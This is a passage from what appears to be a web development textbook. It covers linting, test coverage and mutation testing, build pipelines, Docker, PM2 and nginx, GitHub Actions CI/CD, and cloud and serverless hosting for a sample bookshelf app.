files: ['client/**/*.{ts,tsx}'], // front-end-specific rules
plugins: { react, 'react-hooks': reactHooks },
languageOptions: { globals: globals.browser },
rules: {
...reactHooks.configs.recommended.rules, // rules of hooks, exhaustive deps (14.2)
'react/no-danger': 'error', // flags dangerouslySetInnerHTML (17.1)
},
},
{
files: ['server/**/*.ts'],
languageOptions: { globals: globals.node },
},
prettier, // last: turn off rules that conflict with Prettier
);
What the linter catches, for example:
async function saveAll(books: Book[]) {
books.forEach(async (b) => repo.insert(b)); // no-floating-promises / no-misused-promises: errors are lost
if (books.length == 0) return; // eqeqeq: use ===
const total = 0; // no-unused-vars
}
Prettier. Prettier reformats code into one canonical style, with very few options on purpose:
{
"singleQuote": true,
"trailingComma": "all",
"printWidth": 100
}
Running the tools. Expose each as a script, run them all in CI, and run the fast ones on changed files before each commit with husky (Git hooks) and lint-staged:
{
"scripts": {
"lint": "eslint .",
"lint:fix": "eslint . --fix",
"format": "prettier --write .",
"format:check": "prettier --check .",
"typecheck": "tsc --noEmit",
"check": "npm run format:check && npm run lint && npm run typecheck && npm test",
"prepare": "husky"
},
"lint-staged": {
"*.{js,jsx,ts,tsx}": ["eslint --fix", "prettier --write"],
"*.{json,md,css,yml}": "prettier --write"
}
}
# .husky/pre-commit
npx lint-staged
Pre-commit hooks give fast feedback but can be skipped (git commit --no-verify), so CI must run the same checks and block merging when they fail.
Biome as an alternative. Biome is a single, very fast tool (written in Rust) that both formats and lints JavaScript, TypeScript, JSON and CSS with one configuration file. It covers most popular ESLint rules and is Prettier-compatible, but the ESLint plugin ecosystem (type-aware rules, framework-specific plugins) is still larger.
Security-oriented static analysis (SAST). SAST tools follow data from sources (request bodies, query strings) to sinks (SQL queries, innerHTML, exec) and report paths without sanitisation. CodeQL is free for public repositories through GitHub code scanning; Semgrep lets you write project-specific rules in a pattern syntax that looks like code:
# .semgrep/no-raw-query.yml: forbid interpolated SQL in this project
rules:
- id: no-template-literal-sql
languages: [javascript, typescript]
severity: ERROR
message: Use parameterized queries ($1, $2) instead of template literals (17.1)
pattern: $POOL.query(`...${$X}...`, ...)
Key Takeaways
- Static analysis finds bugs and inconsistencies without running code, across the whole codebase.
- Use a formatter for layout (Prettier or Biome), a linter for correctness (ESLint), a type checker (TypeScript) and SAST (CodeQL, Semgrep) for security flows.
- ESLint's flat config composes shared configs with project rules; enable type-aware rules such as
no-floating-promises. - Run checks locally with husky and lint-staged, and enforce them in CI.
Practice
- (Beginner) Add ESLint (flat config) and Prettier to the bookshelf API, fix every reported problem, and add
lintandformat:checkscripts.- (Intermediate) Add husky and lint-staged, enable
@typescript-eslint/no-floating-promises, and write a Semgrep rule that forbidsinnerHTMLassignments outside a file namedsanitize.ts. Show that each check catches a deliberately introduced mistake.- (Interview) "Why separate the formatter from the linter, and why run both in CI if developers already have pre-commit hooks?" Hint: think about rule conflicts, the different goals of style and correctness, and the fact that hooks can be skipped or not installed.
Code Coverage and Test Strategy
Why measure coverage. After writing tests, a natural question is: which parts of the code did they never run? Code coverage instruments the program, runs the test suite and reports which lines, branches and functions were executed. Code that no test executes is code whose bugs no test can catch. Coverage therefore shows you where tests are missing. It does not show that existing tests are good.
Coverage metrics.
| Metric | Counts | Example of what it misses |
|---|---|---|
| Line | Lines executed at least once | if (a && b) on one line counts as covered even if b was never false |
| Statement | Statements executed (several per line possible) | Same as above |
| Function | Functions called at least once | Every path inside the function |
| Branch | Each outcome of every if, ?:, &&, ` |
Branch coverage is the most informative of the common metrics. Consider:
export function lateFee(daysLate, isPremium) {
let fee = daysLate > 0 ? daysLate * 50 : 0; // two branches
if (isPremium) fee = Math.floor(fee / 2); // two branches: taken and not taken
return Math.min(fee, 1000); // cap at 10.00
}
// One test: lateFee(3, true) === 75
// Line coverage: 100% (every line ran)
// Branch coverage: 50% (never tested daysLate <= 0, never tested isPremium = false)
// The cap at 1000 was never reached either, and no metric reports that.
Collecting coverage. Modern tools use V8's built-in coverage, which needs no code transformation:
node --test --experimental-test-coverage # node:test, report in the terminal
npx vitest run --coverage # Vitest with @vitest/coverage-v8
npx c8 node --test # c8: V8 coverage for any Node command, Istanbul reports
Thresholds in CI. A threshold stops coverage from quietly declining:
// vite.config.js (excerpt)
test: {
coverage: {
provider: 'v8',
include: ['src/**'],
exclude: ['src/**/*.test.*', 'src/main.tsx'], // entry points and generated code add noise
reporter: ['text', 'html', 'lcov'], // lcov feeds PR tools such as Codecov
thresholds: { lines: 80, branches: 75, functions: 80 },
},
},
Why 100% is not the goal. Coverage measures execution, not verification. A test that calls every function but asserts nothing reaches 100% and checks nothing. Chasing a high number leads to tests for trivial getters and generated code, while the hard cases (concurrency, error paths, unusual inputs) remain untested. Use coverage reports to find untested risky code, and set thresholds as a floor, typically 70 to 90%, not a target.
Mutation testing: testing the tests. A mutation testing tool (such as Stryker) makes small changes to your code, such as replacing > with >=, + with - or true with false, and runs the tests against each mutant. If the tests still pass, the mutant "survived", and your tests do not really check that behaviour:
Mutant: let fee = daysLate >= 0 ? daysLate * 50 : 0; -> survived, but harmless: for daysLate = 0 both versions give 0
(an "equivalent mutant", which no test can kill)
Mutant: return Math.min(fee, 10000); -> survived: no test checks the cap
Mutant: if (!isPremium) fee = ... -> killed by lateFee(3, true) === 75
Mutation testing is slow, so it is usually run on critical modules or nightly rather than on every commit.
Building a test strategy. A strategy decides what to test, at which level and when tests run. Start from risk: what would hurt users or the business most if it broke?
| Area of the bookshelf app | Risk | Main tests |
|---|---|---|
| Authentication, authorization, CSRF | High (security) | Integration tests for every role and route; E2E for login |
| Borrowing rules, fees | High (business logic) | Unit tests with tables of cases; mutation testing |
| MongoDB queries and indexes | Medium | Repository tests against a real database |
| REST contract | Medium | Integration tests; OpenAPI validation (10.4) |
| React components | Medium | Component tests with Testing Library (14.5) |
| Critical journeys (sign up, borrow, return) | High | A few Playwright E2E tests |
| Styling, layout | Low to medium | Visual regression on key pages |
| Performance | Medium | Lighthouse budgets, load tests (17.3) |
When tests run.
Developer machine Pull request CI After merge / nightly
----------------- --------------- ---------------------
watch mode: format, lint, typecheck full E2E across browsers
affected unit tests unit + integration tests mutation testing
pre-commit: coverage thresholds load tests
lint-staged E2E smoke suite dependency and image scans
npm audit, SAST
fast feedback ------------------------------> broad confidence
Other strategy decisions. When a bug reaches production, first write a test that reproduces it (a regression test), then fix it. Keep test data builders (buildBook({ title: 'X' })) so tests state only what matters. Track flaky tests and quarantine or fix them within days. Treat test code as production code: readable, reviewed and refactored.
Key Takeaways
- Coverage shows which code tests never executed; branch coverage is more revealing than line coverage.
- High coverage does not mean good tests; assertions and meaningful cases matter. Mutation testing measures whether tests detect changes.
- Use thresholds as a floor in CI and coverage reports to find risky untested code.
- Base the test strategy on risk: put the most effort where failures cost most, choose the lowest effective test level, and run fast checks early and broad checks later.
Practice
- (Beginner) Write
lateFee, test it with one case, and run coverage. Add tests until branch coverage is 100%, then add the test that checks the cap.- (Intermediate) Configure coverage thresholds for the bookshelf API, run Stryker on the borrowing-rules module, and kill at least three surviving mutants with new tests.
- (Interview) "Management wants 100% code coverage. How do you respond?" Hint: distinguish execution from verification, consider cost versus value per test, and propose better signals (branch coverage on critical code, mutation score, escaped-defect rate).
<a id="173-build-deployment-and-operations"></a>
17.3 Build, Deployment and Operations
Code that passes its tests on a laptop is not yet a service. It still has to be built into a deployable artifact, packaged with its runtime, started and supervised, placed behind a proxy, shipped automatically, hosted somewhere, observed while it runs, kept fast and scaled as traffic grows. This subchapter follows that path for the bookshelf application. It starts with build pipelines and configuration, then covers Docker containers, process managers and reverse proxies, CI/CD, and the main cloud hosting models. It ends with operating the running system: logging and monitoring, front-end performance and Web Vitals, and scaling with load balancers.
Build Pipelines and Environment Configuration
Why a build step. The code you write is rarely the code you run. TypeScript must be compiled to JavaScript (Chapter 9), JSX transformed, modules bundled and minified for the browser, CSS processed, assets fingerprinted for caching, and source maps generated for debugging. Doing these steps by hand is slow and error-prone, and two developers would produce different results. A build pipeline is the scripted, repeatable sequence of steps that turns a source commit into a deployable artifact.
An analogy: a bakery's recipe card. The ingredients (source code, lockfile) and the recipe (build scripts) are fixed, so every batch tastes the same no matter who bakes it. The oven temperature for a particular shop (configuration) is set when the bread is baked, not written into the recipe.
Stages of a typical pipeline.
source commit
|
v
1. install npm ci exact versions from the lockfile
2. verify format:check, lint, typecheck, test, audit
3. build tsc / vite build / esbuild -> dist/
4. package docker build, zip, or static files -> artifact (image tag = git SHA)
5. publish push to registry / artifact store
6. deploy same artifact -> staging -> production (config injected per environment)
Build scripts for the bookshelf monorepo.
{
"scripts": {
"build": "npm run build:client && npm run build:server",
"build:client": "vite build --outDir dist/client",
"build:server": "tsc -p server/tsconfig.build.json",
"start": "node --enable-source-maps dist/server/server.js"
}
}
What each tool produces:
| Tool | Input | Output | Notes |
|---|---|---|---|
tsc | .ts | .js + .d.ts + source maps | Type checks and transpiles; does not bundle |
| esbuild / tsup | .ts/.js | One bundled file per entry | Very fast; no type checking (run tsc --noEmit separately) |
| Vite (Rollup/Rolldown) | Front-end source | index.html + hashed JS/CSS chunks | Tree shaking, code splitting (14.5), minification |
| Node type stripping | .ts | (runs directly) | Node 23.6+ runs erasable TypeScript without a build step, useful for scripts and tools |
Build once, deploy many. The most important rule of deployment pipelines: build the artifact once, test it, and promote the same artifact through staging and production. Rebuilding for each environment means production runs something that was never tested. That only works if the artifact contains no environment-specific values: configuration must be injected at run time (17.1).
| Belongs in the artifact (build time) | Belongs in the environment (run time) |
|---|---|
| Compiled code, bundled assets, dependencies | Database URLs, API keys, secrets |
| Feature defaults | Feature flag overrides |
| Version number, git SHA | Log level, ports, allowed origins |
Environments.
| Environment | Purpose | Data | Who uses it |
|---|---|---|---|
| Development | Write and debug code; hot reload | Local or seeded | One developer |
| Test / CI | Automated tests | Created and destroyed per run | The pipeline |
| Preview | One deployment per pull request | Seeded | Reviewers, designers |
| Staging | Production-like rehearsal | Anonymised copy or realistic fixtures | QA, final checks |
| Production | Real users | Real | Everyone |
NODE_ENV=production matters in Node: Express caches views and hides stack traces, and many libraries skip development checks. It should describe the kind of build, not which environment you are in. Use a separate variable (for example APP_ENV=staging) for that.
Front-end configuration is baked in. Vite replaces import.meta.env.VITE_API_URL with a literal string at build time, so the same bundle cannot point at different APIs, which breaks "build once". Two common solutions:
// Option 1: same-origin API. The front end calls '/api/...' and the reverse proxy routes it (no config needed).
// Option 2: runtime config file, served per environment by the server or written at container start
// public/config.json is replaced at deploy time; the bundle stays identical
export async function loadConfig() {
const res = await fetch('/config.json', { cache: 'no-store' });
return res.json(); // { apiUrl, sentryDsn, featureFlags }
}
const config = await loadConfig(); // top-level await in main.tsx before rendering
Reproducibility checklist. Commit the lockfile; pin the Node.js version ("engines" in package.json, an .nvmrc, and the Docker base image); install with npm ci; stamp the artifact with the commit SHA and expose it (/version endpoint, X-App-Version header) so you always know what is running; upload source maps to your error tracker instead of serving them publicly if you do not want to expose source code.
Key Takeaways
- A build pipeline turns a commit into a deployable artifact through repeatable steps: install, verify, build, package, publish, deploy.
- Build once and promote the same artifact through all environments; inject configuration at run time.
- Front-end bundles embed build-time variables; use same-origin APIs or a runtime config file to keep them environment-neutral.
- Pin versions, use lockfiles and
npm ci, and stamp artifacts with the commit SHA.
Practice
- (Beginner) Add
buildandstartscripts to the bookshelf API that compile TypeScript todist/and start it with source maps enabled. Add a/versionendpoint that returns the git SHA passed in an environment variable.- (Intermediate) Make the bookshelf front-end bundle environment-neutral using a runtime
config.json. Build it once and serve it against two different API URLs without rebuilding.- (Interview) "Why should the artifact deployed to production be byte-for-byte the one tested in staging?" Hint: think about what can differ between two builds of the same commit (dependency resolution, build tool versions, environment variables baked in).
Containerization with Docker
Why containers. "It works on my machine" happens because the application depends on more than its code: a specific Node.js version, OS libraries, environment variables, file paths. A container packages the application with its runtime and system dependencies into an image that runs the same way on a laptop, a CI runner and a production server. Unlike a virtual machine, a container does not include its own operating system kernel; it is an isolated process on the host's kernel, so it starts in milliseconds and uses little overhead.
An analogy: shipping containers. Before them, every cargo was loaded differently. A standard box can be moved by any crane, ship or truck without knowing what is inside. Docker images are standard boxes for software.
Vocabulary.
| Term | Meaning |
|---|---|
| Image | Read-only template: file system layers + metadata (command, ports, env) |
| Layer | The file system changes from one Dockerfile instruction; cached and shared between images |
| Container | A running (or stopped) instance of an image, with its own writable layer |
| Dockerfile | Recipe of instructions that builds an image |
| Registry | Server storing images (Docker Hub, GitHub Container Registry, AWS ECR) |
| Volume | Persistent storage that outlives containers (database data) |
| Compose | Tool to define and run multi-container applications from a YAML file |
Virtual machines Containers
+-------+ +-------+ +-------+ +-------+ +-------+
| App A | | App B | | App A | | App B | | App C |
| libs | | libs | | libs | | libs | | libs |
|Guest OS| |Guest OS| +-------+-+-------+-+-------+
+-------+ +-------+ | Container runtime |
| Hypervisor | | Host OS kernel |
| Host OS / HW | | Hardware |
+-----------------+ +---------------------------+
A production Dockerfile for the bookshelf API. A multi-stage build uses one stage with build tools to compile, and copies only the result into a small runtime stage:
# syntax=docker/dockerfile:1
# ---- Stage 1: install all dependencies and build ----
FROM node:24-alpine AS build
WORKDIR /app
COPY package.json package-lock.json ./ # copy manifests first: this layer is cached
RUN npm ci # ...until dependencies change
COPY . .
RUN npm run build && npm prune --omit=dev # compile, then drop devDependencies
# ---- Stage 2: minimal runtime image ----
FROM node:24-alpine AS runtime
ENV NODE_ENV=production
WORKDIR /app
COPY --from=build --chown=node:node /app/node_modules ./node_modules
COPY --from=build --chown=node:node /app/dist ./dist
COPY --from=build --chown=node:node /app/package.json ./
USER node # never run as root inside the container
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=3s CMD wget -qO- http://localhost:3000/healthz || exit 1
CMD ["node", "--enable-source-maps", "dist/server/server.js"] # exec form: node receives SIGTERM directly
# .dockerignore: keeps the build context small and secrets out of the image
node_modules
dist
.git
.env
.env.*
coverage
*.log
docker build -t bookshelf-api:$(git rev-parse --short HEAD) .
docker run --rm -p 3000:3000 --env-file .env bookshelf-api:abc1234
docker images bookshelf-api # check the image size
Why the order of instructions matters. Each instruction creates a layer, and Docker reuses cached layers until one changes; every later layer is rebuilt. Copying package*.json and running npm ci before copying the source means that editing a .ts file does not reinstall all dependencies.
Choosing a base image.
| Base image | Approx. size | Notes |
|---|---|---|
node:24 | ~1 GB | Full Debian with compilers; useful as a build stage only |
node:24-slim | ~200 MB | Debian minimal; glibc, best compatibility with native modules |
node:24-alpine | ~150 MB | musl libc; small, occasionally incompatible native modules |
Distroless (gcr.io/distroless/nodejs24-debian12) | ~130 MB | No shell or package manager: smallest attack surface, harder to debug |
Running the whole stack with Compose.
# compose.yaml
services:
api:
build: .
ports: ["3000:3000"]
env_file: .env
environment:
MONGODB_URI: mongodb://mongo:27017/bookshelf # service names resolve as host names
REDIS_URL: redis://redis:6379
depends_on:
mongo: { condition: service_healthy }
redis: { condition: service_started }
mongo:
image: mongo:8
volumes: ["mongo-data:/data/db"] # data survives container re-creation
healthcheck:
test: ["CMD", "mongosh", "--quiet", "--eval", "db.adminCommand('ping')"]
interval: 10s
redis:
image: redis:7-alpine
volumes:
mongo-data:
docker compose up --build starts all three; docker compose down stops them (add -v to delete the volume).
Container best practices.
- One process per container; scale by running more containers, not more processes inside one.
- Treat containers as disposable: no data in the container file system, logs to stdout/stderr, configuration through environment variables.
- Run as a non-root user, keep images small, and scan them for vulnerabilities (
trivy image bookshelf-api:abc1234). - Handle
SIGTERMfor graceful shutdown (next section). Use the exec form ofCMD(ordocker run --init) so signals reach Node.js rather than a shell. - Tag images with the commit SHA; never deploy
latestto production.
Key Takeaways
- Containers package an application with its runtime into an image that runs identically everywhere; they share the host kernel, unlike VMs.
- Use multi-stage builds, copy manifests before source for layer caching, and keep a
.dockerignore. - Run as non-root, choose small base images, scan images and tag them immutably.
- Docker Compose runs multi-service stacks (API, MongoDB, Redis) locally with one command.
Practice
- (Beginner) Write a Dockerfile for the bookshelf API, build it, and compare the image sizes when using
node:24,node:24-slimandnode:24-alpineas the runtime stage.- (Intermediate) Create a
compose.yamlwith the API, MongoDB and Redis, health checks and a named volume. Show that books survivedocker compose downfollowed byup, and are gone afterdown -v.- (Interview) "Why does changing one line of source code make our Docker build reinstall every npm package, and how do you fix it?" Hint: think about how layer caching works and the order of
COPYandRUNinstructions.
Process Management and Reverse Proxies
Why a process needs a manager. A Node.js server is one process. If it crashes on an unhandled error, runs out of memory or the machine reboots, the service is down until someone restarts it. It also uses one CPU core for JavaScript (11.3). A process manager (or supervisor) starts the application, restarts it when it dies, runs several instances, and stops it cleanly during deployments.
Supervisor options.
| Supervisor | Where | What it provides |
|---|---|---|
| systemd | Linux servers and VMs | Start at boot, restart on failure, resource limits, journald logs |
| PM2 | Node-specific, on servers | Cluster mode across cores, zero-downtime reload, log management, monitoring |
| Docker / Compose restart policies | Single container host | restart: unless-stopped |
| Kubernetes, ECS, Cloud Run | Orchestrated platforms | Restarts, replicas, rolling updates, health probes across many machines |
In containerised deployments the orchestrator is the process manager; running PM2 inside a container usually adds nothing.
PM2 on a virtual machine.
// ecosystem.config.cjs
module.exports = {
apps: [{
name: 'bookshelf-api',
script: 'dist/server/server.js',
instances: 'max', // one worker per CPU core (Node cluster module, 11.6)
exec_mode: 'cluster',
max_memory_restart: '400M', // restart a worker that leaks memory
kill_timeout: 10000, // ms to wait after SIGINT before SIGKILL
env: { NODE_ENV: 'production', PORT: 3000 },
}],
};
pm2 start ecosystem.config.cjs
pm2 reload bookshelf-api # zero-downtime: restarts workers one at a time
pm2 logs bookshelf-api
pm2 save && pm2 startup # restore the process list after a reboot
Graceful shutdown. During a deployment or scale-down, the supervisor sends SIGTERM and, after a timeout, SIGKILL. If the process exits immediately, in-flight requests fail and database writes may be cut off. A graceful shutdown stops accepting new connections, finishes current requests, closes resources, then exits:
// src/server.js
const server = app.listen(config.PORT, () => logger.info({ port: config.PORT }, 'listening'));
let shuttingDown = false;
async function shutdown(signal) {
if (shuttingDown) return;
shuttingDown = true;
logger.info({ signal }, 'shutting down');
app.locals.ready = false; // /readyz now fails: the load balancer stops routing here
const forceExit = setTimeout(() => {
logger.error('forced exit after timeout');
process.exit(1);
}, 10_000).unref(); // do not keep the process alive just for this timer
server.close(async () => { // stop accepting; callback runs when open requests finish
await Promise.allSettled([mongoClient.close(), redis.quit()]);
clearTimeout(forceExit);
process.exit(0);
});
server.closeIdleConnections(); // drop idle keep-alive sockets right away
}
process.on('SIGTERM', shutdown); // sent by Docker, Kubernetes, systemd, PM2
process.on('SIGINT', shutdown); // Ctrl+C in a terminal
Why a reverse proxy. Node.js can serve HTTPS directly, but production setups usually place a reverse proxy in front (10.1, 12.1). It receives all client connections and forwards them to one or more application processes.
+--------------------------- server / cluster ------------------------+
Browser --HTTPS:443-->| Reverse proxy (nginx, Caddy, Traefik, cloud LB) |
| - TLS termination, HTTP/2 and HTTP/3 |
| - static files /assets/* from disk, with long cache headers |
| - gzip/brotli compression |
| - request size limits, timeouts, basic rate limiting |
| - routes /api/* to ---> Node :3000 (instance 1) |
| \--> Node :3001 (instance 2) |
+---------------------------------------------------------------------+
| Responsibility | Why the proxy does it better |
|---|---|
| TLS | Optimised, certificate renewal (Caddy/Traefik automate Let's Encrypt), one place to configure ciphers |
| Static files | sendfile and caching without using the Node event loop |
| Slow clients | Buffers slow uploads/downloads so Node workers are not held up |
| Load balancing | Spreads requests across instances; removes unhealthy ones |
| Single origin | Serves the SPA and /api from one origin: no CORS needed (17.1) |
An nginx configuration for the bookshelf app.
upstream bookshelf_api {
server 127.0.0.1:3000;
server 127.0.0.1:3001;
keepalive 32; # reuse connections to Node
}
server {
listen 80;
server_name bookshelf.example;
return 301 https://$host$request_uri; # force HTTPS
}
server {
listen 443 ssl;
http2 on;
server_name bookshelf.example;
ssl_certificate /etc/letsencrypt/live/bookshelf.example/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/bookshelf.example/privkey.pem;
client_max_body_size 5m; # reject large uploads early
gzip on;
gzip_types application/json text/css application/javascript;
root /var/www/bookshelf/client; # Vite build output
location /assets/ { # fingerprinted files: cache for a year
expires 1y;
add_header Cache-Control "public, immutable";
}
location /api/ {
proxy_pass http://bookshelf_api;
proxy_http_version 1.1;
proxy_set_header Connection ""; # enable upstream keep-alive
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme; # tells Express the original request was HTTPS
proxy_read_timeout 30s;
}
location / {
try_files $uri /index.html; # SPA fallback for client-side routes (12.3)
add_header Cache-Control "no-cache";
}
}
Behind a proxy, configure Express with app.set('trust proxy', 1) (12.1) so that req.ip, req.protocol and secure cookies use the forwarded headers, and only from the one proxy you trust. Caddy achieves the same with a much shorter configuration and obtains TLS certificates automatically; Traefik discovers containers dynamically from Docker or Kubernetes labels.
Key Takeaways
- A process manager restarts crashed processes, runs multiple instances and coordinates restarts; in containers, the orchestrator plays this role.
- Implement graceful shutdown on
SIGTERM: fail readiness, stop accepting, finish requests, close resources, exit, with a forced timeout. - A reverse proxy terminates TLS, serves static files, compresses, buffers, limits and load-balances, and gives front end and API one origin.
- Set
trust proxycorrectly so Express sees the real client IP and protocol.
Practice
- (Beginner) Run the bookshelf API under PM2 in cluster mode, kill one worker with
kill -9, and observe the restart inpm2 logs.- (Intermediate) Implement graceful shutdown, then start a slow request (an endpoint that waits 5 seconds) and send
SIGTERMduring it. Verify that the request completes and that new requests are refused. Put nginx in front of two instances and confirm that requests alternate between them.- (Interview) "Why put nginx in front of Node.js instead of exposing Node directly on port 443?" Hint: list TLS, static files, slow clients, load balancing, single origin, and the separation of concerns between application and edge.
Continuous Integration and Delivery
Why CI/CD. When developers integrate their work rarely, merges become painful and bugs are found weeks after they were written. When deployments are rare, manual and large, each one is risky and stressful, so teams deploy even less often. Continuous Integration (CI) and Continuous Delivery/Deployment (CD) reverse this: small changes are integrated, tested and released often, by automation, so each release is small, routine and easy to roll back.
| Practice | Definition |
|---|---|
| Continuous Integration | Every push and pull request is automatically built and tested; the main branch is always green |
| Continuous Delivery | Every change that passes the pipeline is ready to release; production deployment is one approved click |
| Continuous Deployment | Every change that passes the pipeline goes to production automatically, with no human step |
An analogy: an assembly line with quality gates. Each station checks one property, and a defective part is removed immediately rather than discovered in the finished car.
A pipeline for the bookshelf API with GitHub Actions. Workflows are YAML files in .github/workflows/. A workflow contains jobs (which run on separate runners, in parallel unless they declare needs), and each job contains steps:
# .github/workflows/ci-cd.yml
name: CI/CD
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-latest
services:
mongo: # real MongoDB for integration tests
image: mongo:8
ports: ["27017:27017"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version-file: .nvmrc
cache: npm # caches ~/.npm between runs
- run: npm ci
- run: npm run format:check
- run: npm run lint
- run: npm run typecheck
- run: npm test -- --coverage
env:
MONGODB_URI: mongodb://localhost:27017/bookshelf-test
- run: npm audit --omit=dev --audit-level=high
image:
needs: verify # only if every check passed
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: read
packages: write # push to GitHub Container Registry
steps:
- uses: actions/checkout@v4
- uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@v6
with:
push: true
tags: ghcr.io/${{ github.repository }}/api:${{ github.sha }} # immutable tag
deploy-staging:
needs: image
runs-on: ubuntu-latest
environment: staging
steps:
- run: ./scripts/deploy.sh staging ${{ github.sha }}
- run: npx playwright test --grep @smoke # smoke E2E against staging
env:
E2E_BASE_URL: https://staging.bookshelf.example
deploy-production:
needs: deploy-staging
runs-on: ubuntu-latest
environment: production # protection rule: requires a reviewer's approval
steps:
- run: ./scripts/deploy.sh production ${{ github.sha }} # same image as staging
Pipeline design principles.
- Fail fast: run cheap checks (format, lint) first, or in parallel jobs, so failures surface in seconds.
- Branch protection: require the
verifyjob to pass and a review before merging intomain. - Least privilege: set
permissionsexplicitly; store credentials in repository or environment secrets. Prefer OIDC federation to cloud providers, which issues short-lived credentials per run instead of storing long-lived keys (17.1). - Pin third-party actions to a version (or a commit SHA for stronger supply chain guarantees).
- Cache dependencies and Docker layers to keep the pipeline fast. A pipeline that takes over 10 minutes changes how people work.
Deployment strategies.
| Strategy | How it works | Rollback | Cost / complexity |
|---|---|---|---|
| Recreate | Stop old version, start new | Redeploy old | Downtime; simplest |
| Rolling | Replace instances a few at a time | Roll forward or back gradually | No downtime; both versions run briefly |
| Blue-green | Run new version (green) beside old (blue), then switch traffic at once | Switch back instantly | Double capacity during the switch |
| Canary | Send a small percentage of traffic to the new version, watch metrics, then increase | Route traffic back | Needs traffic splitting and good monitoring |
| Feature flags | Deploy code switched off; enable it per user or percentage at run time | Turn the flag off | Flag management; separates deploy from release |
Canary rollout:
t0 v1 ################################################## 100%
t1 v1 ############################################### 95% v2 ## 5% watch error rate, latency
t2 v1 ######################### 50% v2 ######################### 50%
t3 v2 ###################### 100%
any alert -> route everything back to v1
Database changes and zero downtime. During rolling, blue-green and canary deployments, old and new code run at the same time against the same database. Schema changes must therefore be backward compatible, using the expand and contract pattern: first add the new field and write both (expand), deploy code that reads the new field, migrate old data, and only in a later release remove the old field (contract).
Key Takeaways
- CI builds and tests every change automatically; continuous delivery makes every green build releasable; continuous deployment releases it automatically.
- A pipeline verifies, builds an immutable artifact, deploys to staging, runs smoke tests and promotes the same artifact to production, often with an approval gate.
- Fail fast, protect branches, use least privilege and OIDC for credentials, pin actions and cache dependencies.
- Rolling, blue-green and canary deployments avoid downtime and limit risk; feature flags separate deployment from release.
- Old and new versions coexist during deployment, so database changes must be backward compatible.
Practice
- (Beginner) Create a GitHub Actions workflow for the bookshelf API that runs lint, type check and tests on every pull request, and make it a required check on
main.- (Intermediate) Extend the workflow to build and push a Docker image tagged with the commit SHA, deploy it to a staging environment, run a Playwright smoke test, and require manual approval for production.
- (Interview) "How would you rename a database field used by a running API without downtime?" Hint: consider that two versions of the code run at once during deployment; think in several releases (expand, migrate, contract).
Cloud and Serverless Deployment Models
Why so many models. Running an application requires hardware, an operating system, a runtime, scaling, patching, networking and monitoring. Cloud providers offer to take over different amounts of that work. The more they manage, the less you control and configure, and the more the pricing shifts from "rent a machine" to "pay per use". Choosing a model is choosing where to draw that line.
An analogy: transport. Owning a car (a VM) gives you full control and full maintenance. Leasing with service included (PaaS) removes maintenance but limits choice. A taxi (serverless) costs nothing when idle and is pricier per kilometre at high use.
The models.
You manage Provider manages
IaaS (VMs) app, runtime, OS, scaling, patching hardware, network, virtualisation
CaaS app, container image, scaling rules OS, cluster, orchestration
PaaS app code, config runtime, OS, scaling, TLS, deploys
FaaS individual functions everything else, including scaling to zero
Edge functions small functions near users global distribution
Static + CDN built files storage, global caching, TLS
| Model | Examples | Scaling | Billing | Strengths | Trade-offs |
|---|---|---|---|---|---|
| IaaS (virtual machines) | AWS EC2, Azure VMs, Google Compute Engine, Hetzner | Manual or autoscaling groups | Per hour while running | Full control, any software | You patch, secure and operate everything |
| PaaS | Heroku, Render, Fly.io, Azure App Service, Railway | Configured instance count | Per instance | git push deploys, little ops work | Less control, platform limits, cost at scale |
| Containers as a service | Google Cloud Run, AWS ECS/Fargate, Azure Container Apps | Automatic, can scale to zero (Cloud Run) | Per vCPU-second and memory | Any Docker image, portable | Some container and network knowledge needed |
| Kubernetes | EKS, GKE, AKS, self-managed | Horizontal pod autoscaler | Cluster nodes | Most flexible, portable, huge ecosystem | Steep learning curve, significant operations work |
| Functions as a service (serverless) | AWS Lambda, Google Cloud Functions, Azure Functions | Per request, automatic, to zero | Per invocation and duration | No idle cost, no servers | Cold starts, time limits, statelessness |
| Edge functions | Cloudflare Workers, Vercel/Netlify Edge, Deno Deploy | Automatic, global | Per request | Runs close to users, very low latency | Restricted runtime (Web APIs, not full Node), limited CPU time |
| Static hosting + CDN | Netlify, Vercel, Cloudflare Pages, S3 + CloudFront | Automatic | Bandwidth | Cheapest and fastest for SPAs and static sites | Needs a separate API for dynamic data |
A typical split for the bookshelf app. The React build goes to a static host/CDN. The Express API runs as a container on Cloud Run or a PaaS. MongoDB and Redis use managed services (MongoDB Atlas, a managed Redis), so nobody operates databases by hand. Image thumbnails are generated by a serverless function triggered on upload.
A serverless function. In FaaS you deploy a handler function; the platform invokes it for each event (an HTTP request, a queue message, a file upload) and runs as many copies in parallel as needed:
// AWS Lambda behind an HTTP endpoint (API Gateway / Function URL), Node.js runtime
import { MongoClient } from 'mongodb';
// Created OUTSIDE the handler: reused across invocations while the instance stays warm
const client = new MongoClient(process.env.MONGODB_URI, { maxPoolSize: 2 });
export async function handler(event) {
const isbn = event.pathParameters?.isbn;
if (!isbn) return { statusCode: 400, body: JSON.stringify({ error: 'isbn required' }) };
const book = await client.db('bookshelf').collection('books').findOne({ isbn });
return {
statusCode: book ? 200 : 404,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(book ?? { error: 'not found' }),
};
}
An edge function uses the standard Fetch API Request/Response instead:
// Cloudflare Worker: runs in data centres worldwide
export default {
async fetch(request, env) {
const url = new URL(request.url);
if (url.pathname === '/api/featured') {
const cached = await env.CACHE.get('featured'); // edge key-value store
if (cached) return new Response(cached, { headers: { 'Content-Type': 'application/json' } });
}
return fetch(request); // otherwise pass through to the origin
},
};
Serverless characteristics to design for.
| Characteristic | Consequence | Mitigation |
|---|---|---|
| Cold starts | The first request on a new instance loads the runtime and your code (100 ms to seconds) | Small bundles, few dependencies, provisioned concurrency for critical paths |
| Statelessness | Memory and local disk do not persist between invocations | Store state in databases, caches, object storage |
